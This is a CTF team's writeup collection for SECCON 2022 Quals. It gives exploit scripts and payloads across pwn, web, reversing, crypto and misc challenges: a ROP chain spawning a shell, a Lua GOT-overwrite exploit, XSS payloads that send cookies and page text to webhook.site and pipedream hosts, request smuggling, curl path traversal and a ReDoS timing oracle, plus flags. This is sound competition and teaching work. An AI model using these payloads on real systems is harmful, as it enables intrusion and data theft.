Try   HackMD

SECCON 2022 Quals Writeups

by Super Guesser

Pwnable

koncha

A simple stack bof challenge.
There is a libc-related value on the stack (specifically, same address with name)
Just send a blank line then we can get libc leak.
After we can build ROP chain.

#!/usr/bin/env python3 from pwn import * import subprocess local = 0 BIN = "../lib/ld-2.31.so ./chall" IP, PORT = "koncha.seccon.games", 9001 context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False) if local: # p = process(BIN.split()) p = process(BIN.split(), env={"LD_PRELOAD":"../lib/libc.so.6"}) else: p = remote(IP, PORT) libc = ELF("../lib/libc.so.6") e = ELF(BIN.split(" ")[1]) p.recvline() p.sendline(b'') p.recvuntil(b'you, ') libc.address = u64(p.recvuntil(b'!', True).strip().ljust(8, b'\0')) - 0x1f12e8 p.recvline() payload = b"A"*0x58 payload += p64(libc.address + 0x0000000000023b6a + 1) + p64(libc.address + 0x0000000000023b6a) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system']) p.sendline(payload) context(log_level="info") p.interactive()

lslice

We can forge the length of table by setting malicious metatable.
I did not know about function collectgarbage and light C function.
Hence, I built a heap fengshui payload to read binary(lua)'s GOT and to write a win function pointer into libc's GOT.

function addrof(v) local strrep = tostring(v) local i = string.find(strrep, '0x') if i == nil then error("Cannot get address") end return tonumber(string.sub(strrep, i+2), 16) end function p64(x) cur = x out = "" for i = 0,7,1 do out = out .. string.char(cur & 0xFF) cur = cur >> 8 end return out end function u64(x) out = 0 for i = 8,1,-1 do out = out * 0x100 + string.byte(string.sub(x, i, i)) end return out end function hex(v) return string.format("0x%x", v) end fake_len = 0x10000000 x1 = {0xfafa} x2 = {0xfafa} x3 = {0xfafa} a = {0xcafebabe} mt = { __len = function(self) return fake_len end } setmetatable(a, mt) a[1] = x1 heap = addrof(a) piebase = addrof(print) - 0x25930 winaddr = piebase + 0x7a40 freegot = piebase + 0x000000000003AE78 idx = 0x30c value = string.rep(p64(freegot) .. p64(0x2404), 0x60) print(hex(addrof(x1))) print(hex(heap)) c = table.slice(a, idx, idx+1) libcbase = u64(c[1]) - 0xa5460 print(hex(libcbase)) v = heap + idx*0x10 + 0x720 value2 = string.rep("B", 0x208) .. p64(v) .. p64(0x45) value2 = value2 .. p64(addrof(x1) - 0x640) .. p64(0x00000001003f2405) .. p64(libcbase + 0x2190b8) .. p64(piebase + 0x2e780) .. p64(0) .. p64(0) .. p64(v) .. p64(0) idx = 0x293 d = table.slice(a, idx, idx+1) d[1][1] = piebase + 0x7a40 d[1][2] = 0xcafebabe

Web

skipnix

Following the below two code,

The maxmium parameterLimit is 1000. So, If the depth is big enough, the last parameter will be ignored.

spanote

The first step is writing an html file with the delete endpoint with .html extension.

It's not easy to execute that file as a html page. The trick to do this is using history.back(). history API uses the cached page if it's available.

<form id=wow action="http://web:3000/api/notes/delete" method=POST>
    <input type=text name=noteId value="<img src=1 onerror=eval(window.name)>.html">
    <input type=submit>
</form>
<script>
if(window.location.hash=='#ddd'){
    // alert()
    window.open('http://web:3000')
    setTimeout(()=>{
        history.back()
    },1000)
    window.name=`let x = window.open('http://web:3000/');setTimeout(()=>{fetch('https://webhook.site/AAAA',{method:'POST',body:x.document.body.innerText})},1000)`
}
if(!window.name){
    window.x = window.open('?','lol')
    setTimeout(()=>{
        x.close()
        window.x = window.open('?','lmao')
        setTimeout(()=>{
            window.x.location = '?#ddd'
            // window.x.location = 'http://web:3000/'
        },1000
)    },1000)
} else if(window.name=='lol'){
    wow.submit()
} else if(window.name=='lmao'){
    document.location = 'http://web:3000/api/notes/%3Cimg%20src=1%20onerror=eval(window.name)%3E.html'
}
</script>

piyosay

to get XSS, we should use the replace function after DOMPurify.sanitze and DOMPurify.removed holdes the removed elements during sanitization process. the emoji param has to be wrong to avoid overwriting DOMPurify.removed.

http://piyosay.seccon.games:3000/result?emoji=wow/wow&message=SECCON{%3Cinput%20value=%22}%3Cimg%20src=1%20onerror=%27fetch(`https://webhook.site/AAA?a=`%2bDOMPurify.removed[0].element.innerText)%27%3E%22%3E%3Cscript%3E

bffcalc

?<img/src='x'/onerror=alert(1)>

We can get xss easily. But cookie has httponly flag, so we can't get flag.

await page.setCookie({
    name: "flag",
    value: FLAG,
    domain: APP_HOST,
    path: "/",
    httpOnly: true,
  });
def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

In bff/app.py, proxy function has crlf injection vulnerability. Because it uses tcp raw socket, request smugling is possible.

So if we use CRLF injection + HTTP Request Splitting + Content-Length well, we can leak cookies using 400 error messages.

Bad Request Malformed header line " HTTP/1.1" (generated by waitress)

payload

expr=?<img/src='x'/onerror=import('//ssrf.kr/a.js')>
//a.js
document.cookie = "a%:";
const result = await (await fetch(`/%20HTTP/1.1%0d%0aHost:backend:3000%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:backend:3000%0d%0aContent-Length:410%0d%0a%0d%0aexpr=1`)).text();
navigator.sendBeacon("https://enllwt2ugqrt.x.pipedream.net/",result);

easylfi

curl accepts special syntaxes, {one,two,three} for requesting multiple files at once. Thus, we can bypass the filter .. and make path traversal like this {.}.. In addition, when we request multiple files at once, output will be like following.

--_curl_--file://~
(file content)
--_curl_--file://~
(file content)

Now the only left thing is bypassing SECCON filter.

When we look up templating function, there is a mistake that tmeplate key accepts a single character {. Thus, we are able to think replace { to }, then SECCON{flag} will be converted to SECCON}flag}. Now, if we can write some strings contains { in front of SECCON}flag} using multiple requests, e.g. asdfasdf{asdzxv... SECCON}flag}, we can change {asdzxcv... SECCON} to other string using templating, which can bypass SECCON filtering.

Also, curl accepts url fragmentation for file scheme, we can use this to insert any arbitrary string.

payload

/%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7Bapp/requirements,flag%7D.txt%23%20%5c%7Ba%5c%7d?%7B=%7D%7B&%7Ba%7D=%7B&%7B%0aSECCON%7D=x

which is same as

/{.}./{.}./{.}./{.}./{.}./{.}./{.}./{.}./{.}./{app/requirements,flag}.txt# \{a\}?{=}{&{a}={&{
SECCON}=x

this will result in

--_curl_--file:///app/public/../..//../..//..//..//..//..//../app/requirements.txt# }{
Flask==2.2.2
--_curl_--file:///app/public/../..//../..//..//..//..//..//../flag.txt# }x{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

flag

SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

Reversing

babycmp

key_first = [0x04, 0x20, 0x2F, 0x20, 0x20, 0x23,
             0x1E, 0x59, 0x44, 0x1A, 0x7F,
             0x35, 0x75, 0x36, 0x2D, 0x2B,
             0x11, 0x17, 0x5A, 0x03, 0x6D, 0x50, 0x36, 0x07, 
            0x15, 0x3C, 0x09, 0x01, 0x04, 0x47, 0x2B, 0x36, 0x41, 0x0a, 0x38]
key = "Welcome to SECCON 2022"

c = ''
cnt = 0
for i in range(0, len(key_first)):
    if cnt == len(key):
        cnt = 0
    c += chr(key_first[i] ^ ord(key[cnt]))
    cnt += 1
print(c)

DoroboH

We are presented with three files: araiguma.DMP a dump file containing a snapshot of a live run of the main executable araiguma.exe.bin. And a PCAP file containing the communication between a server and the executable with the name network.pcap.

I put the executable into IDA and started analyzing. The binary is rather small and is not stripped, thus it is easy to navigate. In the main a Diffie Hellman key is created with static G and P values. The public key is then exported and sent to "192.168.3.6" which answers with a public key of its own. Afterwards the received public key is used to derive a session key that is used for RC4 decryption. So we are looking at a DH handshake to create a shared secret.

Analyzing the binary and the pcap file, we see that a simple protocol is used. First a 4 byte value with the necessary buffer size is sent, and then the actual message follows. Furthermore we can see two messages being sent after the DH handshake which are of length 102 and 103 respectively. The flag is very likely being hidden in one of the two.

I implemented a server that could be used to communicate with the binary in C++. But it had one catch, i would print out the shared secret key, so i could search for it in the running binary (see snippet below). Note that the actual RC4 key is 0x10 bytes long and starts at offset 0xC in the exported struct.

if (CryptImportKey(hProv, (BYTE*)buffer, data_len, phKey, 0, &sessionKey)) {
    DWORD algid = CALG_RC4;
    if (CryptSetKeyParam(sessionKey, KP_ALGID, (BYTE*)&algid, 0)) {
        DWORD shared_secret_len = 0;
        CryptExportKey(sessionKey, 0, PLAINTEXTKEYBLOB, 0, 0, &shared_secret_len);

        unsigned char* shared_secret = new unsigned char[shared_secret_len];
        if (shared_secret) {
            CryptExportKey(sessionKey, 0, PLAINTEXTKEYBLOB, 0, (BYTE*)shared_secret, &shared_secret_len);

            printf("Shared secret should be: ");
            for (int i = 0; i < 0x10; i++) {
                printf("%02X", shared_secret[0xC + i]);
            }
            printf("\n");
        }

With this server running on localhost i used a hex editor to change the ip "192.168.3.6" to "127.0.0.1" so it would connect to my local server. With all this prepared, i loaded araiguma_patched.exe into WinDBG and put a breakpoint at the exact same offset as in the dump file: 0x401995. When breaking there, my server would display the following.

Shared secret should be: 7F84FE1991959539A46F35A08D8D6AAA

This enabled me to search the memory of the local araiguma_patched.exe for this value and identify patterns that might be useful for searching them in the DMP file.

0:000> s -d 0x0000 L1000000 0x19fe847f
00000000`00122170  19fe847f 39959591 a0356fa4 aa6a8d8d  .......9.o5...j.
00000000`0012290c  19fe847f 39959591 a0356fa4 aa6a8d8d  .......9.o5...j.

The latter seemed to be most promising.

0:000> db 1228a0 l2c0
00000000`001228a0  ee fe ee fe ee fe ee fe-86 43 96 ae 47 bf 00 32  .........C..G..2
00000000`001228b0  20 00 00 00 52 55 55 55-d0 23 12 00 00 00 00 00   ...RUUU.#......
00000000`001228c0  d0 28 12 00 00 00 00 00-b0 28 12 00 00 00 00 00  .(.......(......
00000000`001228d0  6e 02 00 00 4b 53 53 4d-01 00 01 00 00 00 00 00  n...KSSM........
00000000`001228e0  01 00 00 00 01 00 00 00-80 00 00 00 00 00 00 00  ................
00000000`001228f0  90 25 12 00 00 00 00 00-00 00 00 00 00 00 00 00  .%..............
00000000`00122900  00 00 00 00 00 00 00 00-10 00 00 00 7f 84 fe 19  ................
00000000`00122910  91 95 95 39 a4 6f 35 a0-8d 8d 6a aa 0d f0 ad ba  ...9.o5...j.....
00000000`00122920  0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba  ................

There were some contents in the immediate proximity that could be kinda static. Take the "RUUU" or "KSSM" strings for example. I chose the "RUUU" one and added the 4 bytes before it aswell to my search pattern. And would you believe it, i got two hits in the provided DMP file! The latter looked exactly like the struct i saw in the local process and contained the secret shared key at 00163a6c.

0:000> s -q 0x0000 L1000000 0x5555555200000020
00000000`000ffc50  55555552`00000020 00000000`0010d560
00000000`00163a10  55555552`00000020 00000000`00114a90
0:000> db 00000000`00163a10
00000000`00163a10  20 00 00 00 52 55 55 55-90 4a 11 00 00 00 00 00   ...RUUU.J......
00000000`00163a20  30 3a 16 00 00 00 00 00-10 3a 16 00 00 00 00 00  0:.......:......
00000000`00163a30  6e 02 00 00 4b 53 53 4d-01 00 01 00 00 00 00 00  n...KSSM........
00000000`00163a40  01 00 00 00 01 00 00 00-80 00 00 00 00 00 00 00  ................
00000000`00163a50  30 fe 0f 00 00 00 00 00-00 00 00 00 00 00 00 00  0...............
00000000`00163a60  00 00 00 00 00 00 00 00-10 00 00 00 f1 f5 85 a0  ................
00000000`00163a70  f3 27 87 ad 54 c0 66 10-af 2f 3a a3 39 00 39 00  .'..T.f../:.9.9.
00000000`00163a80  2d 00 31 00 30 00 30 00-31 00 5f 00 43 00 6c 00  -.1.0.0.1._.C.l.

Now it was just a matter of decrypting the RC4. I used python for that.

from Crypto.Cipher import ARC4

keylist = [
b"\xf1\xf5\x85\xa0\xf3\x27\x87\xad\x54\xc0\x66\x10\xaf\x2f\x3a\xa3"
]

ciphertext = b"\x8c\x28\xc2\x0d\x02\x7a\xa8\xbc\x9a\x71\xb1\x07\x02\x24\x21\xe9\x07\x34\x0d\xe0\xf9\xa4\xc5\x40\x61\x1f\x2d\x95\xb5\x60\xf8\x43\x5f\xdb\x44\xec\xb3\x88\x76\xdd\xab\x1f\xe3\xff\xca\xf2\x6a\xeb\x65\xb7\xf7\xf4\xd1\xd0\xbc\x6c\xee\xc5\x21\xc7\x7c\x27\xcd\x0f\xfb\xa4\xa9\xd0\x07\x22\x8c\x47\x82\x88\xb9\x06\xb6\x4d\x83\x2b\xe9\x82\x2e\x12\x3e\xc4\xa5\xab\xbc\x15\x5a\x24\xb6\x3a\x8c\x65\x7c\x05\xff\x61\x48\x12\x4f"

for key in keylist:
    rc4 = ARC4.new(key)

    decrypted = rc4.decrypt(ciphertext)
    print(decrypted) # SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}

The ciphertext was taken from the first of the two longer messages in the pcap file. I did not check what the second one contained.

eguite

The binary is old school style crackme written by rust.

In eguite::Crackme::onclick::hb69201652eb2ef3b, there is the flag check routine.
First, this function checks the input starts with SECCON{ and ends with } and length of input is 43.
And, it checks there are the letter - at 19th and 26th, 33rd index.

e.g.)
SECCON{aaaaaaaaaaaa-bbbbbb-cccccc-dddddddd}

Next, it decode each parts as big-endian hex string.
Lastly, it checks parts by sum of some parts and xor result of some parts.

We got the flag using z3 solver.

from z3 import *

s = Solver()
a,b,c,d = [BitVec('a', 8 * 8), BitVec('b', 8 * 8), BitVec('c', 8 * 8), BitVec('d', 8 * 8)]

s.add(b + a == 0x8B228BF35F6A) 
s.add(c + b == 0xE78241)
s.add(d + c == 0xFA4C1A9F)
s.add(d + a == 0x8B238557F7C8)
s.add((d ^ b ^ c) == 4184371021)
s.add(a < (1<<6 * 8))
s.add(b < (1<<3 * 8))
s.add(c < (1<<3 * 8))
s.add(d < (1<<4 * 8))
print(s.check())
m = (s.model())
print(m)
a,b,c,d = (m[i].as_long() for i in [a,b,c,d])
print(f'SECCON{{{hex(a)[2:]}-{hex(b)[2:]}-{hex(c)[2:]}-{hex(d)[2:]}}}')

# SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}

Devil Hunter

We can see the flag.cbc's IR by clamcb ./flag.cbc --printbcir. Note that I'll not post the output of this.

F.1 bb.3 checks whether flag.txt end's with "}".
Important part is F.1 bb.5 which transform our input with function F.2 and F.1 bb.6 which compare between transformed input and constant.

So, implementing reverse of F.2 is the solution.

def rev(x):
    a, b, c, d = x >> 24, x >> 16, x >> 8, x
    a = a & 0xFF
    b = b & 0xFF
    c = c & 0xFF
    d = d & 0xFF

    e = a ^ 0xa
    f = b ^ 0xca
    g = c ^ 0xb3
    h = d ^ 0xc0

    return bytes([h, e, f, g])


lst = [0x739e80a2, 0x3aae80a3, 0x3ba4e79f, 0x78bac1f3, 0x5ef9c1f3, 0x3bb9ec9f, 0x558683f4, 0x55fad594, 0x6cbfdd9f]

flag = b""
for i in lst:
    flag += rev(i)
print(b"SECCON{" + flag + b"}")
# SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}

Crypto

For PQPQ, insufficient, BBB, and witch's symmetric exam, check

PQPQ

We are given, with

e=265537,

  • n=pqr
  • c1=peqe(modn)
  • c2=(pq)e(modn)
  • c=me(modn)

It can be easily shown that

p=gcd(c1+c2,n) and
q=gcd(c1c2,n)
.
With this, we can calculate
p,q,r
. Now with
ϕ=(p1)(q1)(r1)
and
d=inverse(65537,ϕ)
, we can compute
m2cd(modn)
.

To compute

m, we divide the equation into three, (each with mod
p,q,r
) solve each one, then combine with CRT. This gives us all candidates for the flag.

Insufficient

We are given 4 data

(xi,yi,wi) with a 512 bit prime
p
such that

wia1xi+a2xi2+a3xi3+b1yi+b2yi2+b3yi3+czi+s(modp)

where each

ai,bi,c,s are all fixed unknowns in
[0,2128]
and
zi
is in
[0,2128]
.

We rewrite this as

wi2256a1xi+a2xi2+a3xi3+b1yi+b2yi2+b3yi3+nipwi

and use lattice methods to solve for

a1,a2,a3,b1,b2,b3.

Now we can find all

δi=czi+s(modp).

Since

0c,zi,s<2128 we simply know
δi=czi+s
.

Since

c is a divisor of
δiδj=c(zizj)
, GCD can be used to find
c
.

Since

s<2128, we can simply take
s=δi(modc)
.

There can be more possible candidates for

c,s, but we didn't have to deal with it.

BBB

The idea is to make

rng(11)=11, which gives us what
b
to send.

Then, we can solve for

x11 such that
rng(x)=11
, then solve for
y
such that
rng(y)=x
, then
rng(z)=y
, and so on. This is continued until we have found 5 such values, which works with a decent portion of the prime numbers. Essentially we are just solving for
rng5(x)=11
or something like that.

These seeds will give us datasets with

e=11, so solving for
m11
via CRT works.

This can be easily seen by computing the bounds for

m11 and
i=15ni
.

this_is_not_lsb

In textbook RSA, when ciphertext

E(P)=Pe is given, ciphertext for
E(P=mP)=Peme
can be easily calculated without knowing
P
.

When we send

cMe, we can check whether
2102221024flagM210221
or not.

Once we find appropriate

M satisfies 2^{1022} - 2^{1024} \leq flag \cdot a$, then set
a
as lower bound and possible to recover maximum
M
such that
flagM210221
using binary search.

from pwn import *
from Crypto.Util.number import *
r = remote("this-is-not-lsb.seccon.games", 8080)


r.recvuntil(" = ")
n = int(r.recvline())
r.recvuntil(" = ")
e = int(r.recvline())
r.recvuntil(" = ")
flag_len = int(r.recvline())
r.recvuntil(" = ")
c = int(r.recvline())


def query(factor):
  r.recvuntil(" = ")
  val = c * pow(factor, e, n) % n
  r.sendline(str(val).encode())
  z = r.recvline()
  return z == b'True\n'

st = 2**438
en = 2**439 - 1

factor = 2**576 * 196

for i in range(584,-1,-1):
  adder = 2**i
  while query(factor + adder):
    factor += adder
    print("!! add",i)


#factor = 48663794436922351897392835332645276106957960444910813902095379757782525882180340752407585793044725993977469588294850480616647015758190038588490706033703755590689470468363797990
  
flag = (2**1022 - 1)//factor


print(long_to_bytes(flag))

Witch's Symmetric Exam

First, note that OFB cipher is practically a stream cipher. Therefore, combined with a padding oracle attack gives us an ECB encryption oracle. Indeed, sending

IV||C for an OFB decryption gives error at OFB side when
EK(IV)C
is not padded appropriately. In conclusion, we have an ECB encryption oracle.

Since OFB's decryption is same as encryption, this also means that we have an OFB decryption oracle as well. We have OFB encryption/decryption at hand.

Also, note that AES-GCM is also a stream cipher at heart. If we look into AES-GCM's internals, it's easy to see that having an ECB encryption oracle is enough to both encrypt/decrypt (alongside the calculation of tag) so the challenge is solved.

janken vs kurenaif

It is well-known that python random module is not cryptophically secure. All we need is to find a integer seed which generates 666 target values.

I first tried to analyze the exact logic for the random module in python but it is too boring. Luckily I find this repository and it contains almost everything I want.

Since the whole code is too long, I will introduce a handmade method in Breaker class.

class BreakerPy(Breaker):
    # ...
    def state_recovery_rand_partial(self, outputs):
        """
        state recovery for given prob
        """
        MT = [BitVec(f'MT[{i}]',32) for i in range(624)]
        values = []
        start_time = time()
        S = Solver()
        for i in range(len(outputs)):
            if i%624==0:
                self.twist_state(MT)
            S.add(LShR(self.tamper_state(MT[i%624]),30)==outputs[i])
        if S.check()==sat:
            print("time taken :",time()-start_time)
            model = S.model()
            mt = {str(i): model[i].as_long() for i in model.decls()}
            mt = [mt[f'MT[{i}]'] for i in range(len(model))]
            return mt
    # ...

I find a candidate mersenne state using state_recovery_rand_partial method then find a corresponding seed.

from pwn import *
from mersenne import *
import random

def conv(a):
    return (a+1)%3

r = remote("janken-vs-kurenaif.seccon.games", 8080)

r.recvuntil("spell is ")
spell = r.recvuntil(".")[:-1]

print(spell)

witch_rand = random.Random()
witch_rand.seed(int(spell, 16))

outputs = [conv(witch_rand.randint(0, 2)) for _ in range(666)]


b = BreakerPy()
mt = b.state_recovery_rand_partial(outputs)

print("mt recovered")

R = random.Random()
R.setstate((3, tuple(mt) + (624,), None))

for i in range(666):
    assert(R.randint(0,2) == outputs[i])

print("assert passed")

R = random.Random()
#R.seed((1))
R.setstate((3, tuple(mt) + (624,), None))

output32 = [R.getrandbits(32) for _ in range(624)]
seeds = b.get_seeds_python(output32, 624)


if not seeds:
    exit()

print("!!! seeds!!!!", seeds)

seed_int = 0

for i in range(len(seeds)):
    seed_int |= (seeds[i] << (32*i))

r.sendline(hex(seed_int))

r.interactive()

Misc

Noiseccon

We send

scale=26424k for
1k42
. In that case, the decimal part of the offsetX, offsetY will be [flag hex] / 16. We'll find this value to solve the chall.

To do so, we will brute force all 16 possibilities and see if the colors make sense.

In each possibility, we can take a 20 x 20 grid of the picture that is decided by four gradient values. This is equivalent to [flag hex] / 16 + i / 20 having the same integer part for 20 consecutive

i. We will brute force all
84
possibilities for the four (2D) gradients. Then, since we already know the decimal part of each grid (as we already fixed the value for the flag hex) we can compute the color of it and see if it matches the picture returned from the server. If there one of the
84
candidates for the gradients work, then the flag hex value we guessed is the correct one.

from PIL import Image
from pwn import * 
import time
from base64 import b64decode
from tqdm import tqdm

import itertools

FIN = [(1, 1), (1, -1), (-1, 1), (-1, -1), (1, 0), (-1, 0), (0, 1), (0, -1)]

def fade(x):
    return x * x * x * (x * (6 * x - 15) + 10)

def lerp(a, b, t):
    return (1 - t) * a + t * b

def dot_prod(A, B):
    assert len(A) == 2 and len(B) == 2
    return A[0] * B[0] + A[1] * B[1]

def isOKDetail(whi, st, S, pix):
    for i in range(20):
        for j in range(20):
            of_y = (5 * whi + 4 * (st + i) - 80) / 80
            of_x = (5 * whi + 4 * (st + j) - 80) / 80
            assert 0 <= of_x < 1 and 0 <= of_y < 1

            n00 = dot_prod(S[0], (of_x, of_y))
            n01 = dot_prod(S[1], (of_x, of_y - 1))
            n10 = dot_prod(S[2], (of_x - 1, of_y))
            n11 = dot_prod(S[3], (of_x - 1, of_y - 1))

            u = fade(of_x)
            v = fade(of_y)
            fin = lerp(lerp(n00, n10, u), lerp(n01, n11, u), v)
            fin = int((fin + 1) * 128)
            if abs(fin - pix[st + i, st + j][0]) > 1:
                return False
    return True

def isOk(whi, pix):
    st = (80 - 5 * whi + 3) // 4
    for S in itertools.product(FIN, repeat = 4):
        if isOKDetail(whi, st, S, pix):
            return True 
    return False

hex_flag = ""

for i in tqdm(range(42)):
    conn = remote("noiseccon.seccon.games", 1337)

    scale = 1 << (64 + 4 + 4 * i)
    for j in range(9):
        conn.recvline()
    conn.sendline(str(scale).encode())
    conn.sendline(str(scale).encode())
    img = conn.recvline().split()[-1]
    
    f = open("image.png", "wb")
    f.write(b64decode(img))
    f.close()    

    im = Image.open("image.png")
    pix = im.load()

    for whi in range(16):
        if isOk(whi, pix) == 1:
            hex_flag += hex(whi)[2:]
            break

    if len(hex_flag) % 2 == 0:
        print(bytes.fromhex(hex_flag[::-1]))

print(bytes.fromhex(hex_flag[::-1]))

txtchecker

Linux command file is abused with arbitrary parameter values to provoke time-based inference of the content from the other end. In our case, we used the crafted magic file, read through the /dev/stdin, where we chained the non-delayed match (based on current string match) along with the delayed one (regex DoS alike).

#!/usr/bin/env python3 import pexpect import string import time THRESHOLD = 10 def Connect(user, host, password): connStr = 'ssh '+user+"@"+host + " -p 2022 -oStrictHostKeyChecking=no -oCheckHostIP=no" child = pexpect.spawn(connStr) child.expect("password:") child.sendline(password) return child TEMPLATE = '0 string SECCON{%s\n>0 regex E.*C.*C.*O.*N.*((((((((((((((.{1,10})+)+)+)+)+)+)+)+)+)+)+)+)+) seccon_flag\n' def check(cur_cand): host = 'txtchecker.seccon.games' user = 'ctf' password = 'ctf' child = Connect(user, host, password) child.expect("path:") child.sendline("-m /dev/stdin /flag.txt") a = time.time() k = TEMPLATE % cur_cand child.send(k) child.send(chr(4)) while child.isalive(): if time.time() - a > THRESHOLD: child.sendeof() return THRESHOLD else: time.sleep(0.001) return time.time() - a known = "" while not known.endswith('}'): for i in '}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`|~ ': candidate = known + i delta = check(candidate) print(candidate, delta) if delta >= THRESHOLD: if check(candidate) >= THRESHOLD: known = candidate break

Find Flag

we are given following code

#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())

Since the code does not check for valueError (i.e sending \x00) or exit syscall (control+d) we can just run the program , hit control+d and it will print the flag since the the condition if check here check will point to function check .